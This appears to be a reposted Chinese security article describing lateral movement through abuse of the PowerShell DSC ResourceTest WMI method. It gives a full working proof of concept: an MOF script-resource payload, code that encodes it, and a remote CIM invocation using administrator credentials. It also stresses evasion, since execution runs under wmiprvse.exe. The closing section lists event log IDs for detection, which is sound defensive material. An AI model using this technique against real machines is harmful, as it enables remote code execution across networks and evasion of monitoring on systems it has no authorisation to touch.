横向渗透技术简介
PowerShell 期望状态配置 (DSC) 允许需要执行的资源直接使用 WMI, 在 DSC WMI 类的帮助下, 我们可以通过滥用内置脚本资源来实现 PowerShell 代码的远程执行.
这样的横向渗透技术有如下几点好处:
1.PowerShell 将在 WMI 服务 - wmiprvse.exe 环境下执行, 从躲避检测的角度来说这是一个优势.
2.Payload 的每一个组件都跟 WMI 有关系.
3. 无需配置 DSC 服务.
横向渗透技术要求
1.ResourceTest 方法必须在 MSFT_DSCLocalConfigurationManager 这个 WMI 类中, 该类需位于 root/Microsoft/Windows/DesiredStateConfiguration 命名空间中. 注意: 攻击者还可以选择调用 ResourceGet 或 ResourceSet 方法. PowerShell DSC 是在 PowerShell v4 中引入的, 所以这项技术并不适用于全部主机.
2. 默认情况下, 如果你要远程调用 WMI 方法, 你需要拥有管理员凭证. WMI 的安全是通过 DCOM 或 WSMan 安全设置来实现的, 在建立远程连接时, WMI 是通过目标命名空间的安全描述符实现的(root/Microsoft/Windows/DesiredStateConfiguration).
攻击 PoC
第一步就是准备 Payload 如何执行. 你需要在目标主机上执行的 PowerShell 代码需要是 MOF 格式的, 下面给出的是一份 Payload 样本:
- $MOFContents= @'
- instance of MSFT_ScriptResource as $MSFT_ScriptResource1ref
- {
- ResourceID ="[Script]ScriptExample";
- GetScript = "\"$(Get-Date): Iam being GET\"| Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
- TestScript = "\"$(Get-Date): Iam being TESTED\"| Out-File C:\\Windows\\Temp\\ScriptRun.txt -Append;return $True";
- SetScript = "\"$(Get-Date): Iam being SET\"| Out-FileC:\\Windows\\Temp\\ScriptRun.txt -Append; return $True";
- SourceInfo = "::3::5::Script";
- ModuleName = "PsDesiredStateConfiguration";
- ModuleVersion = "1.0";
- ConfigurationName ="ScriptTest";
- };
- instance of OMI_ConfigurationDocument
- {
- Version="2.0.0";
- MinimumCompatibleVersion ="1.0.0";
- CompatibleVersionAdditionalProperties={"Omi_BaseResource:ConfigurationName"};
- Author="TestUser";
- GenerationDate="02/26/201807:09:21";
- GenerationHost="TestHost";
- Name="ScriptTest";
- };
- '@
这里, 唯一需要修改的就是 PowerShell Payload. 在我们的样例中, 我们将调用 ResourceTest 方法, 该方法会返回上面的 "TestScript" 属性. 需要注意的是, 特殊字符需要转义处理.
下一步就是把 MOF 转换成二进制形式, 这种数据形式也是 ResourceTest 方法要求的:
- #Change this to false if you want to test the payload locally
- $ExecuteRemotely= $True
- $NormalizedMOFContents= [Text.Encoding]::UTF8.GetString([Text.Encoding]::ASCII.GetBytes($MOFContents))
- $NormalizedMOFBytes= [Text.Encoding]::UTF8.GetBytes($NormalizedMOFContents)
- $TotalSize= [BitConverter]::GetBytes($NormalizedMOFContents.Length + 4)
- if($ExecuteRemotely) {
- # Prepend the length of the payload
- [Byte[]] $MOFBytes = $TotalSize +$NormalizedMOFBytes
- }else {
- # If executing locally, you do notprepend the payload length
- [Byte[]] $MOFBytes = $NormalizedMOFBytes
- }
在上述样例中, 如果你想在本地测试你的 Payload, 请不要在 Byte 数组中添加 Payload 长度. Payload 正确编码之后, 剩下的就是在目标主机上执行 Payload 了.
- #Specify the credentials of your target
- $Credential= Get-Credential -Credential TempUser
- $ComputerName= 'TargetHost'
- #Establish a remote WMI session with the target system
- $RemoteCIMSession= New-CimSession -ComputerName $ComputerName -Credential $Credential
- $LCMClass= Get-CimClass -Namespace root/Microsoft/Windows/DesiredStateConfiguration-ClassName MSFT_DSCLocalConfigurationManager -CimSession $RemoteCIMSession
- if($LCMClass -and $LCMClass.CimClassMethods['ResourceTest']) {
- # You may now proceed with lateralmovement
- $MethodArgs = @{
- ModuleName ='PSDesiredStateConfiguration'
- ResourceType = 'MSFT_ScriptResource'
- resourceProperty= $MOFBytes
- }
- $Arguments = @{
- Namespace ='root/Microsoft/Windows/DesiredStateConfiguration'
- ClassName = 'MSFT_DSCLocalConfigurationManager'
- MethodName= 'ResourceTest'
- Arguments = $MethodArgs
- CimSession= $RemoteCIMSession
- }
- # Invoke the DSC script resource Testmethod
- # Successful execution will be indicatedby "InDesiredState" returning True and ReturnValue returning 0.
- Invoke-CimMethod @Arguments
- }else {
- Write-Warning 'The DSC lateral movementmethod is not available on the remote system.'
- }
在上面的例子中, 大家请注意, 我首先验证了远程类和方法的优先级. 在使用 WMI 技术时, 我们建议大家首先验证远程类和方法的优先级.
接下来, 代码会将 Payload 下载到目标主机的磁盘中. 如果你想要使用 WMI 来远程获取文件内容, 你可以配合使用[ 这项技术 ] . 除此之外, 我这里还使用了 CIM cmdlet, 这个功能是在 PowerShell v3 中引入的, 如果你需要适用 v2 版本的话, 你还可以使用旧版本的 WMI cmdlet.
终端检测 & 保护
幸运的是, 我们可以通过检查事件日志来发现这种攻击活动, 并进行及时检测.
Microsoft-Windows-PowerShell/Operational 事件日志
EventID: 53504
"PowerShell Named Pipe IPC" 事件表明 PowerShell AppDomain 已启用. 当 DSC 执行脚本资源时, 这个事件会自动捕捉 "DscPsPluginWkr_AppDomain". 而 AppDomain 对于一次 DSC 执行来说是唯一的, 下面是一个事件样例:
Windows PowerShell has started an IPC listening thread on process: 6480 in AppDomain:DscPsPluginWkr_AppDomain.
"Windows PowerShell" 事件日志
EventID: 400
在正常的 PowerShell 日志中, 事件 ID 400 表明一个新的 PowerShell 主机进程被创建. 当 DSC 脚本资源执行时, 它会生成一个唯一的事件日志条目, 并对其进行签名. 下面是一个样例(引擎状态从 NONE 转换成了 Available):
- Details:
- NewEngineState=Available
- PreviousEngineState=None
- SequenceNumber=13
- HostName=Default Host
- HostVersion=5.1.17134.81
- HostId=19cfc50e-8894-4cd5-b0a9-09edd7785b7d
- HostApplication=C:\Windows\system32\wbem\wmiprvse.exe
- EngineVersion=5.1.17134.81
- RunspaceId=12ebba81-9b73-4b1e-975d-e2c16da30906
- PipelineId=
- CommandName=
- CommandType=
- ScriptName=
- CommandPath=
- CommandLine=
Microsoft-Windows-DSC/Operational 事件日志
EventID: 4102
当一个 DSC 资源被发送至目标主机之后, 系统会响应这个事件. 如果目标主机存在于一个计算机域中, 那么系统会返回执行这个 DSC 资源的用户 SID 以及源主机信息. 下面是事件样本信息:
- Job{
- 893F64B5-ABBF-11E8-B005-D336977413FC
- } :
- OperationInvoke-DscResource started by user sidS-1-5-21-3160353621-618008412-2361186285-1001 from computer NULL.
演示视频
在下面这个视频中, 我们将给大家演示本文所介绍的渗透技术:
DEMO 代码:[ 点我获取 ]
来源: http://www.tuicool.com/articles/nEfam2U